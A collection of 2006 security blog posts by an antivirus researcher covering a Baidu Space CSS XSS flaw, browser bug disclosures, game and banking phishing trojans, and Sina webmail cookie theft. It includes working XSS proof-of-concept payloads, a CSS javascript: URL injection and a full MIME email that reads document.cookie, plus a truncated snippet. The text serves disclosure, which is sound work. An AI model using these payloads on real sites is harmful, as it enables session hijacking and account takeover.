Baidu (Nasdaq: BIDU) launched its Blog service – Baidu Space Beta 10 days ago. It’s a blog system with no highlights at all, but I still moved my Chinese blog down there for better bandwidth and stability. Here’s an XSS vulnerability I found last Friday.

   1. Script injection

Baidu space allows users to change their spaces’ CSS freely, but the system does not filter any injected scripts out. For example, a CSS definition like “body { background:url(javascript:alert(‘hello’)); } ” will pop a message box. Users could inject any scripts into the CSS of their spaces. This is dangerous because bad guys can plate a trojan by injecting some exploits.

   2. The XSS attack

Baidu uses a cookie to tell whether a user has been logged on or not. The cookie’s domain is baidu.com. In other word, any script on baidu.com can obtain and use that cookie freely. Once you send some commands using the cookie stolen from a user, Baidu recognizes you as the victim himself. I’ll give a PoC below, which will add a friend link to your Friend List as long as you have a Baidu Space, and logged on.

Here’s the link, http://hi.baidu.com/somethingbad

And here’s the code I’ve injected to http://hi.baidu.com/somethingbad’s CSS,

#header{height:89px;background:url("javascript:document.body.onload = function(){

   3. Web 2.0 worm opportunity

The problem is actually quite similar to the Sammy case of MySpace. A web 2.0 worm could be accomplished based on such XSS vulnerabilities. With a slight modification, the codes could copy themselves to victim’s CSS, and hence, a worm comes into being.

Baidu did a fast response when their validate code algorithm got cracked. I hope it could do a great job too this time.

Liu Xiang breaks men’s 110m hurdles WR.

H D Moore opened the Browser Fun Blog on July 2nd. Here’s their welcome post,

“This blog will serve as a dumping ground for browser-based security research and vulnerability disclosure. To kick off this blog, we are announcing the Month of Browser Bugs (MoBB), where we will publish a new browser hack, every day, for the entire month of July. The hacks we publish are carefully chosen to demonstrate a concept without disclosing a direct path to remote code execution. Enjoy!”

So far, they’ve published 5 bugs. Affected browsers are IE, Firefox and Safari. See the bug list below,

• MoBB #5: DHTML setAttributeNode()
• MoBB #4: Mozilla Firefox DesignMode
• MoBB #3: OutlookExpress.AddressBook
• MoBB #2: Internet.HHCtrl Image Property
• MoBB #1: ADODB.Recordset Filter Property

The blog is really cool, but unfortunately, Chinese users just cannot access it directly since GFW banned the whole blogspot.com domain. Here’re 2 simple ways to bypass GFW,

1. Read the blog’s RSS in Bloglines.
2. Use a proxy server, or a proxy website such as hidemyass, or simply click here.

One of my colleagues told me that he found a suspicious post on MOP’s WoW forum last night. All hyperlinks inside the post pointed to the same URL, and when he clicked, IE lost response.

After studying on the source, I found that the inside links would lead users to a malicious site, which exploits 6 different critical flaws to install trojans. Here’s the misused flaw list,

• Real Player SMIL file handling buffer overflow (CAN-2005-0455)
• IE HHCtrl 'Related Topic' cross-zone code execution (MS05-001)
• IE OBJECT CODEBASE cross-zone code execution (MS02-015)
• IE MHTML ms-its cross-zone scripting (MS03-014)
• Windows WMF SetAbortProc code execution (MS06-001)
• IE createTextRange() buffer overflow (MS06-013)

Fortunately, vendors have issued patches for them all.

The to-be-installed trojans target 3 popular online games - World of Warcraft, Legend of Mir and Menghuan Xiyou. Around 530 players have read the phishing post in past 40 hours, and the number is still increasing.

Do not open the post shown below, and if you already did, run antivirus software with latest database immediately and change your password later.

A post of SecuriTeam Blogs leads me to a paper on how to defeat the “Great Firewall” of China. The paper explained how GFW works and issued a solution to beat it. It’s worth reading, and I hope some of you guys could download the paper before it gets banned.

We received a few variants of a phishing trojan which targets ICBC (Industrial and Commercial Bank of China) user accounts. Once launched, the trojan observes URL addresses opened by IE, and pops up a phishing dialog box when victim user tries to logon ICBC online bank. We have detected a dozen infections, the real number of victims may be multiplied times.

The phishing window, filled by a screenshot picture of the online bank web page with some hoax words, tries to persuade victim to submit his/her account password. Stolen information will be send to VXer through email. See the picture below (click it to view a large one),

Screenshooting is one of the most common methods used by phishing trojans. It’s easy to notice such trick if users click some controls on the window, e.g. dragging scrollbars.

A few days ago, I was a little bit worried that Yamanner worm would encourage hackers to find more vulnerabilities of Yahoo web services. Now the prediction comes true. A series of Proof of Concepts have been published on full-disclosure mailing-list today. Multiple Yahoo vulnerabilities were involved, including authentication bypass, session binding, cookie encoding security weakness and cross-site scripting. Yahoo got work to do.

Sina might have more work to do since its webmail security is even worse than Yahoo’s. I wrote a post discussing sina webmail’s problem a week ago. One of my friend blogged this in Chinese too. But nothing has been done to patch the hole. Maybe sina coders haven’t realized the critical authentication bypass flaw inside their webmail system. I hope some sina engineers could send the mail below to your own webmail account, open it in browser and see what happened,

Date: Mon, 12 Jun 2006 22:43:11 +0800
From: "Daishuo" <daishuo@jiangmin.com>
To: "somebody" <somebody@mail>
Subject: Cookie disclosure PoC of Sina Webmail
X-mailer: Foxmail 5.0 [cn]
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="=====003_Dragon577540504666_====="

This is a multi-part message in MIME format.

--=====003_Dragon577540504666_=====
Content-Type: text/plain;
 charset="gb2312"
Content-Transfer-Encoding: 7bit

this is a test.

--=====003_Dragon577540504666_=====
Content-Type: text/html;
 charset="gb2312"
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD></HEAD>
<BODY>
<IMG src="http://www.baidu.com/img/logo.gif"
onload="document.write(‘<BODY></BODY>’);document.body.innerText=document.cookie;"></IMG>
</BODY></HTML>

--=====003_Dragon577540504666_=====--

User cookie will be displayed in the mail body. And of course the cookie could be submitted to some guy’s database as well. Once we send a “GET” request to mail.sina.com.cn with one’s cookie, we can logon his account. And thus, an authentication bypass occurs.
Sina’d better read this post before hackers steal too may user cookies.

Something happened to Microsoft in the last week end, at least two of them are worth a mention here.

First, a new 0-day vulnerability of Excel was confirmed by MSRC last Saturday. The malicious sample was firstly reported on June 14, which was just the next day after Microsoft’s “patch Tuesday”. Technical details were not public. I don’t think MS will release an out-of-cycle patch for it. Excel will probably remain exploitable until July 11. Here’re some links about the 0-day,

Microsoft Excel 0-day Vulnerability FAQ

Reports of a new vulnerability in Microsoft Excel

New Excel zero-day flaw used in attacks

Second, Microsoft France was hacked. See the snapshot below (click it to view large pic)

TiTHacK, the hacker, was really active these days, and Microsoft.com is his/her next target. Is it another 0-day of Win2003+IIS6.0? Let’s wait and see.